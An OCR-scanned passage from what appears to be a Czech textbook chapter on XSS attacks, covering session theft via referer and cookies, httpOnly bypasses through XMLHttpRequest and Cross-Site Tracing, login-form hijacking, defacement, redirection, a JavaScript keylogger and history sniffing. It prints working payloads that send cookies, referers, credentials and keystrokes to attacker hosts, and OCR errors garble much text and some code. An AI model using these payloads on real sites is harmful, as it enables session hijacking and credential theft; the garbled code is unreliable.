zajisténé ndkterym z b&znd dostupnych vefejnych HTTP proxy serveri’. Pi
vyuziti jejich sluZzeb neputuji pozadavky z browseru uto¢nika pfimo na
webovy server, ale jsou zasilany pravé na tento HTTP proxy server, ktery
teprve tyto pozadavky pieda dal na webovy server pod svou identitou (IP
adresou). Odpoveéd’ od serveru je opét sméfovana na HTTP proxy server,
ktery ji ptfeposSle pocitaci uto¢nika. Webovy server tak casto nema
k dispozici Zadnou informaci, ktera by mohla ato¢nika identifikovat.

El
o 4....-..-.....»‘ |I <——>-i
= J —

Jests v&tsi anonymity miiZe Gtodnik dosdhnout vyuzitim sits TOR?,
kterd umozni pteposilani kazdého paketu jinou cestou pomoci Sifrovaného
kanalu.

Jedinou cestu, jak uto¢nika vystopovat, tak piedstavuje
komunikaéni kanal mezi ito¢nikem a jeho obéti. I tato cesta ale mize byt
bez vétsich obtizi smérovana pies nékolik serverti a kazdy z nich mize byt
navic umistén v jiné geologické lokalits. Utognik tak mtze snadno
zamaskovat i tuto moznost piipadného vystopovani.

! http://hidemyass.com/proxy-list
2 http://www.security-portal.cz/clanky/tor-onion-router-systém-pro-vysoce-anonymni-
sifrovany-pristup-k-internetu
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Kapitola 9

Utoky XSS

Kradeze session

V Kkapitole vénované utokim typu CSRF jsem jiz pomérné
dukladné zminil problematiku HTTP komunikace a s ni spojené udrZzovani
sezeni v identifikatoru relace. Diky tomu, ze je tento identifikator casto
jedinym udajem, pomoci kterého je identifikovan opravnény uzivatel, neni
divu, Ze se jeho kradez stava jednim z nejcastéjSich cili ito¢nikt. V uvedené
kapitole jsme zminily, Ze je tento jedineény identifikator predavan nejéastéji
V parametru jednotlivych dotazti, nebo v HTTP hlaviéce cookie. Nasledujici
stranky budou vénovany utokim, pomoci kterych je mozné se tohoto
identifikatoru zmocnit a tim unést uzivatelské sezeni.

Relace zalozené na POST/GET pozadavcich

Predavani identifikatoru relace metodou POST se v praxi témét
nepouziva a proto se budu vénovat vyhradné¢ metodé GET, kterd se k jeho
predavani naopak vyuziva pomérné ¢asto. Existuji dva zpisoby predavani id
relace v URI. Prvni z nich spociva v pfedavani id jako hodnoty proménné.

http://www.hackingvpraxi.cz?id=a4ba34d8fe23

Druhy v zakomponovani id do adresaiové cesty samotného URI.

http://www.hackingvpraxi.cz/a4ba34d8fe23/

Identifikator se vyskytuje v URI po celou dobu trvani relace
aobsahuji jej proto také vsSechny odkazy smétujici uvnitf aplikace.
Pfedavani identifikitoru relace v URI se ale muze stat pomérné
nebezpeénym. Pokud si ve vypisu 189 prohlédnete komunikaci odeslanou
browserem pii pozadavku na zdroj umistény mimo webovou aplikaci,
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uvidite, Ze obsahuje HTTP hlavicku referer. Ta popisuje celé URI, ze
kterého uZivatel ptichazi a to dokonce v&etné vSech jeho parametra.

Vypis 189 - Zachycend komunikace vyslana browserem po kliknuti na odkaz

GET http://maill.volny.cz:80/~~752a0cda4148£67683c/app/list.php HTTP/1.1
Host: maill.volny.cz

User-Agent: Mozilla/5.0 Firefox/7.0.1

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8
Accept-Language: cs,en-us;q=0.7,en;g=0.3

Accept-Encoding: gzip, deflate

Accept-Charset: windows-1250,utf-8;9=0.7,*;9=0.7

Proxy-Connection: keep-alive

Referer: http://maill.volny.cz/~~752a0cda4148£67683c/app/login.php
Cookie: _ gemius_fp=1318236232350_863657215; agent_uid=da8677e8ealbel8l..

Pokud ma utoénik moznost vlozit do webové aplikace odkaz
sméfujici mimo aplikaci, mize hodnotu refereru zachytdvat a dale s ni
pracovat. Ve vypisu 190 si muzete prohlédnout php skript slouzici pro
zasilani referert z pfichozich pozadavkd na e-mail uto¢nika.

Vypis 190 - PHP skript pro zachyceni a odesldni hodnoty referer

<?php
mail ('attacker@mail.cz', 'Referer’', 'Referer: '.$_SERVER['HTTP_REFERER']);
e

Pokud ma navic toénik moznost vkladat do webové aplikace
i jiné HTML tagy, napiiklad <img> pro nacteni externiho obrazku, nebude
utok zavisly na uzivatelské interakci, ktera by jinak spocivala v kliknuti na
odkaz. Vypis 191 ukazuje pouziti tohoto tagu. VyuZivda se pii tom
skuteénosti, ze HTTP hlavicka referer se zasild pii kazdém pozadavku,
véetné téch na externi zdroje. Ve chvili, kdy pii zobrazovani HTML
dokumentu dojde ke zpracovani vlozeného tagu <img>, odeSle browser
stejny request, jako pii kliknuti odkaz.

Vypis 191 - HTML tag <img> odkazujici na obrdzek umistény na ttoénikové serveru

<img src="http://www.hackingvpraxi.cz/obrazek.php" width="1" height="1">

Kod skriptu obrazek.php mize byt stejny jako diive uvedeny kod
z vypisu 190. Vzhledem k tomu, Ze jsme obrazku nastavili rozméry 1x1
pixel, nebude chybova ikona obrazku viditelna. Nas§ skript ale mize klidné
vratit také skuteény obrazek, ktery se nasledné zobrazi na webové strance.
Pak uz by k dokonalosti chybélo pouze pouziti pfipony .jpg, ¢ehoz se da
doséhnout presmérovanim na php skript, az na strané serveru.
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Jakmile se uto¢nik zmocni podobného refereru, ktery obsahuje
identifikator relace, nic mu jiz nebrani v tom, aby zacal stejnou aplikaci
pouzivat pod identitou uzivatele, kterému tento identifikator patfi.

Pokud pravé premyslite nad tim, Ze timto zpisobem bude mozné
unést sezeni témet ve vSech aplikacich, které si predavaji identifikator relace
v URI, musim vas zklamat. Session lze timto zplsobem ukrast pouze
u aplikaci, které s podobnym utokem nepocitaji. Ty ostatni, Iépe
zabezpecené, upravi vSechny odkazy vlozené uZzivatelem tak, aby nejprve
pro§ly pies piesmérovavaci skript, ktery se postard o to, aby hodnota
v HTTP hlaviéce referer sméfovala na tento presmérovavaci skript, a aby
tak neobsahovala zneuzitelnd data. Odkaz vloZeny uzivatelem by pfi jeho
vlozeni do webové stranky mohl byt zménén do podoby, kterou uvadi
vypis 192.

Vypis 192 - Aplikaci upraveny uZivatelem vioZeny odkaz sméfujici mimo aplikaci

<a href="http://www.aplikace.cz/redir.php?url=http://www.hackingvpraxi.cz>...

Jak si za chvili ukdZeme, ani tato obrana neni vzdy dostate¢na
a uto¢nik ji mize jistymi technikami obejit. Aby byla G¢inna, musel by se
totiz pfesmérovavaci skript oteviit v novém okné prohlizece. V opacném
ptipadé by bylo s vyuzitim XSS moZné prochdzet v okné zpét historii
autoénik by se tak mohl vratit az do mista, které obsahuje pozadovany
referer, nebo az do mista, kde miZze id relace piedist z vlastnosti
document.location. Abychom dobife pochopili funkci Gtoénych postupi,
které si nasledné piedstavime, musim opét nejprve uvést trochu teorie, ktera
se k tématu vaze.

JavaScript neni omezen pouze na okno prohlizece, ve kterém je
spustén. Pokud nejsou naruseny bezpecnostni zasady Same Origin Policy, to
znamena, ze budou vSechny relevantni webové stranky nacitany ze stejné
domény, muze JavaScript za splnéni urcitych podminek pfistupovat
také k obsahu dalsich oken prohlizece.

Zminénymi podminkami jsou nutné existence jistych vazeb mezi
jednotlivymi okny. Tyto vazby se vytvari ve chvili, kdy je naSe okno
vytvofeno jinym oknem, nebo ve chvili, kdy nase okno otevira okno nové.
V ptipadé, ze se ocitneme v okné, které bylo vytvofeno jinym oknem,
muzeme z vytvofeného okna pfistoupit k pivodnimu oknu pomoci objektu
self.opener, ktery nam zastoupi objekt window ptivodniho okna, pod nimz se
nachazi cela struktura DOM obsazeného dokumentu.
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V piipadé, kdy otevirame nové okno JavaScriptem, ziskame odkaz
na n& jako novou instanci objektu window. Vytvofeni nového okna
JavaScriptem a uloZeni odkazu na n&) do proménné popup si muizete
prohlédnut ve vypisu 193.

Vypis 193 - Otevreni nového okna prohlizece

Primé otevreni nového okna JavaScriptem bez uzZivatelské interakce.
Casto je tento zptisobob otevieni okna blokovén prohlize¢em.
<script>
popup = window.open ('stranka.html', 'nazev_okna', 'width=100, height=100');
</script>

Otevreni nového okna prohlizece JavaScriptem jako reakce na udalost.
Pri pouziti u odkazu je vyhodou mozZnost nastaveni vlastnosti nového okna.
<a href="#" onclick="popup = window.open ('stranka.html')">klikni zde</a>

Otevreni nového okna odkazem bez pouziti JavaScriptu.
<a href='stranka.html' target='_blank'>klikni sem</a>

Syntaxe pouZziti metody window.open() je nasledujici:

window.open ("URL", "nazev_okna", "atributl=hodnotal, atribut2=hodnota2")

Jednotlivé atributy, které je mozné spolecné s metodou
window.open() pouzit pro ovlivnéni vzhledu nové otevieného okna, uvadim
v tabulce 48.

Tabulka 48 - Atributy metody window.open()

toolbar panel nastroju yes | no
location adresovy fradek yes | no
directories panel odkazl yes | no
status stavovy Fadek yes | no
menubar nabidka yes | no
scrollbars rolovaci listy yes | no
resizable moznost zmény velikosti okna yes | no
width §irka okna pixely
height vy3ka okna pixely
left vzdalenost od levého okraje obrazovky pixely
top vzdalenost od horniho okraje obrazovky pixely

fullscreen okno pres celou obrazovku bez hodnoty
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Nyni jiz nastal vhodny &as, pfedstavit si konkrétni utok, b&hem
kterého budeme komunikovat mezi riiznymi okny prohlizece. Pfedpokladem
je, ze alesponl v jednom z oken budeme schopni spustit kod JavaScriptu a ze
oba dokumenty budou pochézet ze stejné domény. Konkrétnim piipadem
budiz zdarn& provedeny utok' ve webmailu volny.cz. Zminény webmail
umoznoval spousténi skriptii obsazenych v téle doru¢ené HTML zpravy.
Tato se ovSem otevirala az po redirektu, ktery zbavil URI identifikatoru
session a také HTTP hlavicky referer. Pomoci JavaScriptu nebo bé&Zného
odkazu s interakci uzivatele bylo ale mozné otevfit nové okno. Toto okno
obsahovalo kod JavaScriptu, ktery vratil hlavni okno v historii o jeden krok
zpét a precetl hodnotu jeho URI, kterou nasledné odeslal uto¢nikovi.

Kod JavaScriptu umistény v pop-up okné, ktery by byl schopen
zjistit hodnotu URI v historii hlavniho okna uvadim ve vypisu 194. Funkce
setTimeout slouzi ve skriptu k odloZeni akce na dobu, kdy bude dokument
z historie naéten browserem. Pokud bychom se pokusili pfistoupit k obsahu
dokumentu dtive, kdyZ jesté neni nahran, vyvolalo by to chybu za béhu
skriptu.

Vypis 194 - Kéd JavaScriptu pro Pop-up okno

<script>

self.opener.history.back (1) ;

setTimeout ("alert (self.opener.document.location)",2000) ;
</script>

Na zavér kapitoly o relacich zalozenych na GET pozadavcich jesté
uvedu, ze z JavaScriptu je mozné k hodnoté refereru pfistupovat skrz
vlastnost document.referrer. V§imnéte si rozdilu mezi ndzvem této vlastnosti
a odpovidajici HTTP hlavickou referer.

Relace zalozené na cookies

Relace zaloZené na cookies jsou zcela ur€ité témi nejCastéjSimi.
K tspé$nému tinosu sezeni pifi tomto typu relace staci utoénikovi zmocnit se
obsahu cookie, které nasledné naimportuje do svého browseru nebo vyuzije
v uto¢ném CSRF skriptu. Moznosti, jak se obsahu cookie zmocnit, neni ale
tolik, jako tomu bylo u relaci zalozenych na parametrech GET pozadavkd.

! http://www.soom.cz/index.php?name=articles/show&aid=450
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Ve své podstaté (pomineme-li vSechny jiné typy utoku, které
nejsou piedmétem této knihy) muze utocnik pfistoupit k obsahu cookie
pouze prostiednictvim JavaScriptu vyuzitim vlastnosti document.cookie
aito pouze v piipadé€, Zze cookie neni zabezpefeno ptiznakem httpOnly,
ktery blokuje JavaScriptu ptistup k obsahu cookies.

A co ze si to vlastné pod pojmem cookies mame predstavit?
V podstaté se jedna o textové fetézce, které nalezi domeéné, ktera jejich zapis
zpusobila. Kazdd doména ma ptistup pouze ke svym cookies a neni-li
vyuzito exploitu, ktery zneuziva chyby ve webovém prohlizec¢i, nemize
pristoupit k obsahu cookies jinych domén. Platnost cookies lze navic omezit
jen na ur€ity adresaf nebo subdoménu, takze ne vzdy je skute¢né mozné
zneuzit ziskana cookie ke kompromitaci uctu, i kdyz nalezi cilové doméné.

Podivame se nyni na zachycenou komunikaci mezi webovym
prohlizece a serverem, ze které by mélo byt patrné jakym zpisobem dochazi
k pfedavani hodnoty cookie, kterou piidéluje webovy server.

Nejprve webovy prohlize¢ odesle pozadavek, kterym si vyzada
konkrétni webovou stranku.

GET /index.html HTTP/1.1
Host: www.example.org

Na strané¢ serveru dojde podle danych definic k vygenerovani
obsahu cookie a kjeho vlozeni do HTTP hlavicky Set-Cookie, ktera
doprovazi obsah vracené webové stranky.

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value

(content of page)

Ve chvili, kdy webovy prohlize¢ obdrzi v odpovédi HTTP
hlavicku Set-Cookie, vytvoii na jejim zakladé soubor cookie, ktery ulozi
Vv uzivatelové pocitaci. VSechny nésledné pozadavky, které budou nyni od
uzivatele smefovat na stejny webovy server, budou obsahovat také HTTP
hlavicku Cookie, ktera bude obsah cookie pfedavat serveru. Ten tak bude
schopen rozpoznat, od kterého uzivatele dany pozadavek ptichazi.

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*
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Cookie je mozné nastavit jednak na strané serveru, jak jsme si
ukazali vySe, ale také prostiednictvim JavaScriptu. Z néj se k obsahu cookie
piistupuje prostiednictvim vlastnosti document.cookie, kterd umoziuje
cookie jak Cist, tak i nastavovat. Ve vypise 195 uvadim ukazku obou téchto
¢innosti.

Vypis 195 - Pristup ke cookie v JavaScriptu

Precteni obsahu cookie
kolacek = document.cookie;
Zapsani obsahu cookie

document.cookie = "nazevl=hodnotal;nazev2=hodnota2";

Cteni hodnoty cookies vyuzijeme bshem prvni &asti XSS ftoku,
kdy se o zjisténi obsahu uzivatelova cookie pokousi JavaScript injektovany
do webové aplikace. Samotny vektor injektdze mize mit pfitom rozli¢ny
tvar, jak jsme si jiz v této knize n€kolikrat ukazali. Pfi kradezi cookie je ale
cilem injektovaného skriptu vzdy pfecist hodnotu  vlastnosti
document.cookie a tuto odeslat na uto¢nikiv server k dal§imu zpracovani.
Ve vypisu 196 uvadim opétovné jeden z moznych zplsobii piedani obsahu
uzivatelskych cookies uto¢nikovi. Samoziejmé je mozné vyuzit i ostatni
moznosti, které jsme zminili v kapitole vénované komunika¢nimu kanalu.

Vypis 196 - Pfenos uZivatelskych cookie k uto¢nikovy

<script>
Document.write ("<img src='http://www.hackingvpraxi.cz/save.php?cookie=" +
Document.cookie + "'width='0' height="'0"'>");
</script>

Ve chvili, kdy se ukradené uzivatelské cookie ocitne na strané
utoénika, mize jich vyuzit samotny skript, ktery zaslané cookies zachytil
k tomu, aby je zakomponoval do svého pozadavku. Jeho odeslanim muze
provést ve webové aplikaci néjaky predem stanoveny ukol. Kod takového
php skriptu uvadim ve vypisu 197.

Vypis 197 - Skript vyuZivajici obdrZzené cookie v nasledném poZadavku

<?php
Scookie = urldecode ($_GET['cookie']);
header ("Cookie: S$cookie");
Scontext = stream context create (array(
'http' => array(
'method' => 'POST',
'header' => 'Cookie: '.S$cookie),
)) i
$fp = fopen ("http://www.aplikace.cz/", "r", false, S$context);
fclose ($£fp) ;
2>
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Utoénik se ale maze také piihlasit k webové aplikaci a obdrzené
cookie naimportovat do svého webového prohlizece. Pak by byl k aplikaci
piihlasen stejné jako napadeny uZzivatel a mohl by tak jakkoliv nakladat
S jeho uctem.

Samotny import ziskanych cookies do webového prohlizece je
mozné provést budto pfifazenim do vlastnosti document.cookie=... ve
stavovém fadku prohlizece, editaci hodnot textového souboru, ve kterém
jsou cookie uloZena na disku (umisténi a tvar se 1i§i od pouzitého opera¢niho
systtmu a webového prohlizece), nebo pouzitim dopliiku pro webovy
browser, ktery editaci obsahu cookie pfimo umoziuje. Mezi tyto dopliiky
pro Firefox patii napiiklad Web Developer?, ktery umoziuje vkladat nové
cookie, nebo doplndk AnEC Cookie Editor?.

Piidat cockie @1
Iméno:
Hodnota:
Server: www.hackingvpraxi.cz
Cesta: !
Vyprii: Thu, 09 Dec 2010 17:03:38 GMT

|7 Cockie relace

[] Bezpetna cookie

Pridani cookie ve Web Developeru

(@ AnEC Cooke Editor v0.21.3 ===

Prehled cookies v AnEC Cookie Editoru

! http://chrispederick.com/work/web-developer/
2 https://addons.mozilla.org/cs/firefox/addon/92079/
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Pfidat/Upravit cookie - ==

Informace o vybrané cookie

Mézev: PREF

Obsah:  ID=9d23f4572878928:U=40ca389f 61 b0b2a:FF=0:TM=1291150135:LM=1291150142:5

Doména: .google.cz

Cestar  /
Typspojent  © Jakjkaliv typ spojeni Pouze &frované spojent
@ Platnost vypid 29, listopadu 2012 21:49:02

Platnast vypré: Platnost vypr3i do konce relace

Nova doba platnesti

Ulozit Zaviit

Editace cookie v AnEC Cookie Editoru

Kromé ochrany spocivajici v pfidani ptiznaku httpOnly ke cookie,
je vice nez vhodné kontrolovat také IP adresu, ze které ptichazi jednotlivé
pozadavky. Tato IP adresa by méla byt po celou dobu trvani shodna s IP
adresou, ze které doslo k ptihlaseni do aplikace. Ostatni pozadavky, jejichz
IP adresa je jind, by mély byt odmitnuty. Bohuzel existuji ptipady uzivateld,
kterym se IP adresa mize béhem trvani relace IP adresa meénit, napfiklad
proto, Ze vyuZivaji mobilni sité a pfechdzi mezi riznymi vysilaéi. Ti by pak
meéli pii uzivani aplikace potize. Vhodnym fesenim tedy je, dat uzivateli pii
piihlaseni k aplikaci na vybér, zda si pieje kontrolu IP adresy pouzivat nebo
ne. Implicitn¢ by pfitom méla byt tato kontrola zapnuta. Teprve ve chvili,
kdy by si ji uzivatel zapomnél vypnout a doslo by ke zméné jeho IP adresy,
by byl vedle odmitnuti pozadavku na tuto volbu upozornén. Nékteii vyvojari
namisto kontroly IP adresy kontroluji napiiklad obsah hlavicky User-agent,
ktera identifikuje webovy browser a je logické, ze by se tedy tato adresa
neméla béhem surfovani ménit. OvSem vzhledem k tomu, Ze webovych
prohlizecti existuje omezené mnozstvi, nebyl by zifejmé pro uto¢nika
problém, vyzkouSet rizné varianty téchto hlavicek ve chvili, kdy by se
identifikaéniho cookie zmocnil.

Cteme httpOnly cookies skrz XMLHttpRequest

Ochrana cookies v podobé ptiznaku httpOnly je jednou z moznych
a nutno fici, Ze V soucasnosti také nejucinnéjSich zpusobu, jak utocnikim
zabranit v ptistupu k obsahu cookies prostiednictvim JavaScriptu spusténého
v uzivatelové browseru. Ve vypise 198 uvadim piiklad PHP skriptu, ktery
nastavuje a odesila cookie chranéné timto pfiznakem.
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Vypis 198 - Nastaveni cookie s pfiznakem httpOnly v PHP

Pouziti funkce header()
header ("Set-Cookie: name=value; httpOnly");
Definice funkce setcookie()

setcookie ( string $name [, string $value [, int S$expire = 0 [, string $path
[, string $domain [, bool $secure = false [, bool S$httponly = false ]1]1]1]1]1] )

Pouziti funkce setcookie()

setcookie ("name", "value", time() + 3600, "/", ".hackingvpraxi.cz", 1, 1)

HTTP hlavicku set-cookie s ptiznakem httpOnly odeslanou
uvedenym kodem si mizete prohlédnout v nasledujicim vypisu.

Vypis 199 - HTTP hlavi¢ka set-cookie zaslana serverem

Set-Cookie: ID=12a9632bc65dde87; expires=Fri, 31-Dec-2010 23:59:59 GMT;
path=/; domain=.hackingvpraxi.cz; HttpOnly

Tento pfiznak bohuzel stale neni standardem a proto neni
podporovan vSemi prohliZzeéi ve stejném rozsahu. Poprvé byl nasazen jiz
v Internet Exploreru 6 SP1 a ze strany PHP je ve funkci setcookie()
podporovan od verze PHP 5.2.0. To je pied relativné dlouhou dobou, ale
presto se v jeho implementaci stile objevuji trhliny, které je mozné pro
pretteni cookies s timto ptiznakem pouZit. Asi nejzndméjsi skulina®, ktera
toto umoznovala se vyskytovala v objektu XMLHttpRequest, ktery
umozioval precetni hlavicek metodou getAllResponseHeaders a to véetné
HTTP hlavicky set-cookie chranéné piiznakem httpOnly. Kéd pouZity
béhem ttoku uvadim ve vypise 200.

Vypis 200 - Test XMLHttpRequest pro ¢teni cookie s pfiznakem httpOnly

<script>
var req = null;
try { req = new XMLHttpRequest(); } catch(e) {}
if (!req) try { reg = new ActiveXObject ("Msxml2.XMLHTTP"); } catch(e) {}
if (!req) try { req = new ActiveXObject ("Microsoft.XMLHTTP"); } catch(e) {}
reg.open('GET', 'http://ha.ckers.org/httponly.cgi', false);
req.send(null) ;
alert (req.getAllResponseHeaders () ) ;
</script>

! http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-
to-xmlhttprequest/
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Dnes jiz objekt XMLHttpRequest neni mozné pro Eteni chranénych
cookie pouzit. Napiiklad v Internet Exploreru je ale tato moznost
zablokovéna jen u HTTP hlavicky set-cookie. Hlavicku set-cookie? je timto
zpuisobem mozné stale ¢ist.

Cross-Site Tracing

Cross-Site Tracing (XST)' je dalsi metodou, ktera v minulosti
umoziovala Cist prostiednictvim JavaScriptu a objektu XMLHttpRequest
obsah cookies chranény ptiznakem httpOnly. A nejen to. Kromé toho, Ze
bylo timto zplGsobem mozné ziskdvat obsah chranénych cookies,
umoznovala tato metoda také kradez jejich obsahu napti¢ doménami. To
znamena, ze z jedné domény bylo mozné ziskat obsah cookies nalezejicich
doméng jiné. Tato uto¢na metoda byla oviem funkéni pouze na serverech,
které poskytuji metodu TRACE. Ta slouzi ktestovani a na pozadavek
odpovida tak, Ze do své odpovédi vloZi obsah samotného pozadavku, véetné
vSech jeho hlavicek.

Béhem tutoku tedy stacilo vytvofit na webové strance uto¢nika
XMLHttpRequest, ktery odeslal TRACE pozadavek na server, ktery byl
cilem utoku. To vedlo ktomu, Zze uzivatel, ktery navstivil uto¢nikovu
stranku odeslal nevédomky tento pozadavek na cilovy server véetné obsahu
svych cookies. Server tento pozadavek vzal a cely jej vlozil do téla
odpovédi, vCetné obsazenych cookies. Webova stranka ttoénika pak jen
piecetla odpovéd’ a zni ziskala vSechny potfebné informace. Skript, ktery
toto dokazal v ramci stejné domény je velice jednoduchy a vy si jej mizete
prohlédnout ve vypise 201.

Vypis 201 — Ukazka utoku Cross-Site Tracing na stejné doméné

<script>
var xmlHttp = new ActiveXObject ("Microsoft.XMLHTTP");
xmlHttp.open ("TRACE", "http://aplikace.cz", false);
xmlHttp.send () ;
alert (xmlHttp.responseText) ;

</script>

! http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
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Zména prihlasovaciho formulare

Cilem utoénik se casto stavaji autentifikaéni udaje, které
uzivatelé vkladaji do piihlaSovacich formulaft. Pokud se jim tedy podafi
vlozit na webovou stranku s timto formuladfem svij skript, mohou snadno
zaménit atribut action formulafe a zaslani téchto udaji nasmérovat na sviij
server, ktery tyto informace ulozi nebo pteposle.

Tvar Gtoéného skriptu zavisi hned na nékolika faktorech. Prvnim
z nich je umisténi skriptu ve webové strance. Pokud se skript v HTML
dokumentu naléza az za kodem formulafe, muze skript provést zménu
atributu action okamzité po svém nacteni. Je-li ov§em nejprve naditan skript
a teprve nasledné¢ kod formuléfe, nemtize skript provadét zménu okamzité po
svém nacteni, protoZe by se odkazoval na neexistujici prvek a skript by tak
skondil s chybou. V tomto ptipad¢ je nutné odlozit spusténi skriptu az na
dobu, kdy bude nactena cela webova stranka. Tomuto tématu jsem jiz diive
vénoval samostatnou ¢ast.

Druhym faktorem, ktery hraje dtlezitou roli, je vlastni identifikace
formuléfe. Po prozkoumani zdrojového kodu webové stranky je mozné
zjistit, jaké atributy prvek form obsahuje. Mohou nastat pfipady, kdy neni
uveden zadny atribut, nebo je uveden néktery z atributi name a id.

Ve chvili, kdy formulai obsahuje atribut name, miizeme k nému
pfistoupit piimo na zakladé jim definovaného jména. Skript by mél
Vv takovém pfipade tvar z vypisu 202.

Vypis 202 - Zména action formulare identifikovaného atributem name

<script>
document.loginForm.action="http://www.attacker.cz/save.php";
</script>

Pokud by bylo mozné identifikovat formulat pomoci jeho atributu
id, mohl by mit Gto¢ny skript podobu kodu z vypisu 203.

Vypis 203 - Zména action formulare identifikovaného atributem id

<script>
document .getElementById("loginForm") .action="http://www.attacker.cz/save.php";
</script>

Pti posledni varianté, kdy neni obsazen ani jeden z uvedenych
atributli, nezbyva, nez pfistoupit k formulafi skrz jeho pozici v dokumentu.
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Vypisy 204 a 205 ukazuji dva mozné zpisoby, kterymi je mozné k formulafi
skrz jeho pozici pfistoupit.

Vypis 204 - Zména action formulare identifikovaného poradim tagu v dokumentu

<script>
document.forms[0] .action="http://www.attacker.cz/saveLogin.php";
</script>

Vypis 205 - Zména action formulare identifikovaného poradim tagu v dokumentu

<script>
document .getElemetsByTagName ("form") [0] .action="http://www.attacker.cz/save.php";
</script>

Vypis 206 - OdloZeni po startu

<script>

window.onload = function (
{document.loginForm.action="http://www.attacker.cz/saveLogin.php"};
</script>

Po ziskani autentifikacnich udaji muaze utocnik presmérovat
uzivatele zpét do aplikace, ke které se chtél ptivodné uzivatel prihlasit. Pii
tomto piesmérovani muze pouzit ziskané autentifikacni udaje pro CSRF
utok. Uzivatel tak nema témét zadnou Sanci zjistit, Ze byly jeho ptihlaSovaci
udaje odcizeny. Mezi odeslanim formulafe a piihlasenim k aplikaci dojde
pouze k téméf nepostiehnutelnému presmérovani. Pokud si podobny postup
cheete vyzkouset, nemusite dokonce ani vytvaret slozité skripty, které by
ukladaly zachycena data. Na serveru SOOM.cz je dispozici on-line projekt
GET2MAILY, ktery se o zaslani ziskanych dat e-mailem nebo o jejich uloZeni
do databaze postara za vas.

Zména obsahu webové stranky

Zména cile u piihlaSovaciho formuléfe, které jsme se vénovali
v ptedchozi kapitole, je jen jednou z moznosti zmény webové stranky, ktera
je zobrazena uzivateli. Stejnym zpiisobem muiize utocnik zménit i jakoukoliv
jinou jeji ¢ast, naptiklad text &lanku, zobrazeny obrazek nebo video. Utoénik
muze zménit dokonce cely obsah zobrazené webové stranky a muze tak

! http://www.soom.cz/index.php?name=projects/get2mail/main
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namisto pivodniho dokumentu zobrazit naptiklad pouze text "Hacked by...".
Zméné obsahu webovych stranek se jinak fika také defacement stranky.
Mgjte ale na paméti, Ze prostfednictvim XSS nejde o pravy defacement, pii
némz by doslo k pfepsani samotného obsahu webu na strané serveru. Opét
jde pouze o vyuziti JavaScriptu, ktery pozméni obsah stranky az na strané
uzivatelova prohlizece.

Pro zménu obsahu jakéhokoliv prvku muzeme pouzit jeho
vlastnost innerHTML. Pokud bychom méli v umyslu zménit cely obsah
webové stranky po jejim celkovém nacteni, mohli bychom to udélat kodem
z vypisu 207.

Vypis 207 - Kéd pro defacement webové stranky

<script>
window.onload = function() {document.body.innerHTML="<hl>Hacked by..</h1>"};
</script>

Presmérovani uzivatelt

Cilem uto¢nika se muze stat také jednoduché ptresmérovani
navstévnikd stranky na sviij nebo jakykoli jiny web. Tohoto utoku se
vyuziva hlavné pii persistentnim typu XSS, kdy dojde k presmérovani
kazdého z navstévnikli nakazené stranky okamzit¢ po nacteni Uito¢ného
kodu. Ten je ptitom velice jednoduchy, protoze spociva v pouhém piepsani
vlastnosti location, jak ukazuje vypis 208.

Vypis 208 - Kéd pro presmérovani uZivatele

<script>
document.location="http://www.attacker.cz";
</script>

Keylogger v JavaScriptu

A¢ se to muze zdat témét neskutecné, je v JavaScriptu mozné
vytvofit dokonce i keylogger, ktery bude zaznamenavat klavesy stisknuté
uzivatelem. Pokud jste se pravé zhrozili, musim vas rychle také uklidnit.
Nejedna se totiz o plnohodnotny keylogger zndmy z prostiedi malware
bézici pod operacnim systémem, ktery dokdze odchytavat klavesy stisknuté
v jakékoliv spusténé aplikaci. Keylogger napsany v JavaScriptu, ktery bézi
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v kontextu webového prohlizee, dokaze totiz zachytavat pouze klavesy
stisknuté v okné prohlizece, jez dany keylogger obsahuje. Tim jsou sice jeho
moznosti znaéné omezeny, piesto vSak zlstava mocnou zbrani v rukou
utoénikd. Ti pomoci n¢j dokazi zachytit pfihlasovaci udaje k webovym
aplikacim, fraze které vyhledavate, ¢i obsah korespondence, kterou piSete ve
webmailu nebo ve webovych on-line komunikatorech.

Krom¢ kodu JavaScriptu, které jsou na webovou stranku
injektovany skrz zranitelnost XSS, mtize byt JavaScript keylogger umistén
naptiklad také ve flashové animaci a proto byste si méli dobfe rozmyslet,
jaké animace na sviij web umistujete. Zvlastni pozor byste si méli dat na
rizné vyménné reklamni systémy, které na vas web mohou umistit
infikovanou animaci v nepfedvidatelnou chvili. Vice jsme si o téchto
hrozbach tikali v kapitole vénované injekci skriptl skrz flashové animace.

Kod keyloggeru napsaného v JavaScriptu, ktery odesila zachycena
data uto¢nikovy pomoci XMLHttpRequest si miZete prohlédnout ve
vypise 209. Pro odesilani dat na jinou doménu je nutné kod castecné
pozménit.

Vypis 209 - Kéd jednoduchého keyloggeru

<script>
function sendkeylog (keylog) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject ("Microsoft.XMLHTTP") ;
} else {
httpRequest = new XMLHttpRequest () ;
}
httpRequest.open ("GET", "[link]"+keylog, true);
httpRequest.send (null) ;
}

function savekeycode (e) {
keylog+=String.fromCharCode (e.charCode) ;

if ((keylog.length==5) || (e.keyCode==13)) {
sendkeylog (keylog) ;
keylog="";
}
}
keylog="";
document.onkeypress=savekeycode;
</script>

Zjisténi navstivenych stranek

Jednim ze zajimavych utokd je také zjisténi, které webové stranky
uzivatel nav§tivil. Kod utoéného skriptu, ktery pochazi z knihy XSS Attacks:
Cross Site Scripting Exploits and Defense autorti Setha Fogieho, Jeremiaha

Grossmana a kol., vyuziva v tomto pfipadé vlastnosti webovych prohlizeci,
které obarvuji navStivené a nenavstivené odkazy jinou barvou. Skript
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obsahuje seznam linki, jejichZ navstiveni uto¢nika zajima. Podle toho, jakou
barvou se tyto odkazy vykresli, pak skript dokaze rozhodnout, zda uZzivatel
na této strance jiz v minulosti byl.

Vypis 210 - Zjisténi navstivenych stranek

<html>
<body>
<H3>Navstivené</H3>
<ul id="visited"></ul>
<H3>Nenavstivené</H3>
<ul id="notvisited"></ul>

<script>
/* Seznam linki, které budou provéreny */
var websites = [

"http://www.soom.cz/",
"http://www.seznam.cz/",
"http://www.google.cz/"
1;
/* Cyklus pro vSechny linky ze seznamu */
for (var i = 0; i < websites.length; i++) {
/* Vytvofeni odkazu na URI ze seznamu */
